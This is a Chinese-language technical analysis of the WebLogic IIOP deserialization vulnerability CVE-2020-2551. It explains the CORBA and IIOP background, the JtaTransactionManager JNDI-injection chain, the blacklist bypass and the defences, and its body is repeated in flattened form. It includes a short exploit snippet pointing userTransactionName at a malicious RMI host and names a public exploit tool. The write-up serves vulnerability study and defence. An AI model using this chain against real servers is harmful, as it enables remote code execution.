CVE-2020-2551: Weblogic IIOP反序列化漏洞分析
字数 1792 2025-08-25 22:58:20

WebLogic IIOP反序列化漏洞(CVE-2020-2551)深度分析与利用

1. 前置知识

1.1 IDL与Java IDL

IDL(Interface Definition Language)是接口定义语言,主要用于描述软件组件的应用程序编程接口。Java IDL是一个分布式对象技术,基于CORBA(Common Object Request Brokerage Architecture)标准实现。

  • IDL编译: 使用JDK自带的idlj编译器可将IDL文件编译成Java文件
  • Java IDL映射: 定义了IDL与Java语言之间的类型映射关系

1.2 CORBA架构

CORBA(Common ObjectRequest Broker Architecture)是OMG组织制定的分布式对象标准结构,分为三部分:

  1. Naming Service: 命名服务,类似目录
  2. Client Side: 客户端
  3. Servant Side: 服务端

1.3 CORBA通信过程

  1. 客户端通过存根(Stub)方法连接到ORB(Object Request Broker)
  2. ORB将调用转发到服务器
  3. 服务器端ORB使用框架代码将远程调用转换为本地方法调用
  4. ORB之间通过IIOP(Internet Inter-ORB Protocol)协议通信

1.4 RMI-IIOP

RMI-IIOP结合了RMI和CORBA的优点:

  • 使用RMI编程模型
  • 底层使用IIOP协议通信
  • 实现了Java与非Java环境间的互操作

2. 漏洞原理分析

2.1 漏洞背景

WebLogic IIOP协议在处理反序列化数据时存在缺陷,结合JtaTransactionManager类的错误过滤机制,可导致远程代码执行。

2.2 漏洞成因

  1. IIOP协议问题: WebLogic对IIOP协议的反序列化数据过滤不严

  2. JtaTransactionManager类缺陷:

    • 反序列化时会调用initUserTransactionAndTransactionManager
    • 进而触发lookupUserTransaction方法
    • 通过控制userTransactionName属性实现JNDI注入
  3. 黑名单绕过:

    • CVE-2018-3191修复时将AbstractPlatformTransactionManager加入黑名单
    • IIOP协议过滤时只检查本类名而不检查父类
    • JtaTransactionManager类本身不在黑名单中

2.3 漏洞利用链

IIOP协议反序列化 -> JtaTransactionManager.readObject() -> 
initUserTransactionAndTransactionManager() -> lookupUserTransaction() -> 
JndiTemplate.lookup() -> JNDI注入

3. 漏洞复现

3.1 环境准备

3.2 复现步骤

  1. 搭建恶意RMI服务
  2. 构造恶意序列化数据:
    JtaTransactionManager jta = new JtaTransactionManager();
    jta.setUserTransactionName("rmi://恶意IP/Exploit");
    
  3. 通过IIOP协议发送恶意请求
  4. 触发反序列化并执行远程代码

4. 技术细节分析

4.1 WebLogic IIOP处理流程

  1. 请求入口: weblogic.rmi.internal.wls.WLSExecuteRequest#run

  2. 关键调用栈:

    WLSExecuteRequest.run()
    -> CorbaServerRef.invoke()
    -> AnyImpl.read_value_internal()
    -> ValueHandlerImpl.readValue()
    -> ObjectStreamClass.readObject()
    -> JtaTransactionManager.readObject()
    
  3. 数据解析:

    • 识别rebind_any操作类型
    • 读取tk_value类型数据
    • 反序列化传入的Java对象

4.2 Context绑定流程

  1. 初始化Context:

    Hashtable env = new Hashtable();
    env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
    env.put("java.naming.provider.url", "iiop://IP:端口");
    Context ic = new InitialContext(env);
    
  2. 绑定对象:

    • 生成IOR(Interoperable Object Reference)
    • 设置Java类型交互约定为tk_value
    • 存储序列化数据到any

5. 防御措施

  1. 官方修复:

    • 补丁直接封禁IIOP协议
    • JtaTransactionManager加入黑名单
  2. 临时缓解:

    • 禁用IIOP协议
    • 配置WebLogic防火墙规则限制IIOP端口访问
  3. 长期防护:

    • 使用RASP进行行为检测
    • 实施严格的输入验证
    • 定期更新WebLogic版本

6. 总结

CVE-2020-2551漏洞展示了IIOP协议在WebLogic中的安全隐患,其核心问题在于:

  1. IIOP协议的反序列化机制缺乏严格过滤
  2. 黑名单机制存在设计缺陷(不检查父类)
  3. JtaTransactionManager提供了可利用的JNDI注入点

此类漏洞的防御需要多层次的安全措施,单纯依赖协议过滤或黑名单难以从根本上解决问题。

WebLogic IIOP反序列化漏洞(CVE-2020-2551)深度分析与利用 1. 前置知识 1.1 IDL与Java IDL IDL(Interface Definition Language)是接口定义语言,主要用于描述软件组件的应用程序编程接口。Java IDL是一个分布式对象技术,基于CORBA(Common Object Request Brokerage Architecture)标准实现。 IDL编译 : 使用JDK自带的 idlj 编译器可将IDL文件编译成Java文件 Java IDL映射 : 定义了IDL与Java语言之间的类型映射关系 1.2 CORBA架构 CORBA(Common ObjectRequest Broker Architecture)是OMG组织制定的分布式对象标准结构,分为三部分: Naming Service : 命名服务,类似目录 Client Side : 客户端 Servant Side : 服务端 1.3 CORBA通信过程 客户端通过存根(Stub)方法连接到ORB(Object Request Broker) ORB将调用转发到服务器 服务器端ORB使用框架代码将远程调用转换为本地方法调用 ORB之间通过IIOP(Internet Inter-ORB Protocol)协议通信 1.4 RMI-IIOP RMI-IIOP结合了RMI和CORBA的优点: 使用RMI编程模型 底层使用IIOP协议通信 实现了Java与非Java环境间的互操作 2. 漏洞原理分析 2.1 漏洞背景 WebLogic IIOP协议在处理反序列化数据时存在缺陷,结合 JtaTransactionManager 类的错误过滤机制,可导致远程代码执行。 2.2 漏洞成因 IIOP协议问题 : WebLogic对IIOP协议的反序列化数据过滤不严 JtaTransactionManager类缺陷 : 反序列化时会调用 initUserTransactionAndTransactionManager 进而触发 lookupUserTransaction 方法 通过控制 userTransactionName 属性实现JNDI注入 黑名单绕过 : CVE-2018-3191修复时将 AbstractPlatformTransactionManager 加入黑名单 IIOP协议过滤时只检查本类名而不检查父类 JtaTransactionManager 类本身不在黑名单中 2.3 漏洞利用链 3. 漏洞复现 3.1 环境准备 WebLogic 10.3.6版本 JDK 8u73版本 漏洞利用工具: Y4er/CVE-2020-2551 3.2 复现步骤 搭建恶意RMI服务 构造恶意序列化数据: 通过IIOP协议发送恶意请求 触发反序列化并执行远程代码 4. 技术细节分析 4.1 WebLogic IIOP处理流程 请求入口 : weblogic.rmi.internal.wls.WLSExecuteRequest#run 关键调用栈 : 数据解析 : 识别 rebind_any 操作类型 读取 tk_value 类型数据 反序列化传入的Java对象 4.2 Context绑定流程 初始化Context : 绑定对象 : 生成IOR(Interoperable Object Reference) 设置Java类型交互约定为 tk_value 存储序列化数据到 any 类 5. 防御措施 官方修复 : 补丁直接封禁IIOP协议 将 JtaTransactionManager 加入黑名单 临时缓解 : 禁用IIOP协议 配置WebLogic防火墙规则限制IIOP端口访问 长期防护 : 使用RASP进行行为检测 实施严格的输入验证 定期更新WebLogic版本 6. 总结 CVE-2020-2551漏洞展示了IIOP协议在WebLogic中的安全隐患,其核心问题在于: IIOP协议的反序列化机制缺乏严格过滤 黑名单机制存在设计缺陷(不检查父类) JtaTransactionManager 提供了可利用的JNDI注入点 此类漏洞的防御需要多层次的安全措施,单纯依赖协议过滤或黑名单难以从根本上解决问题。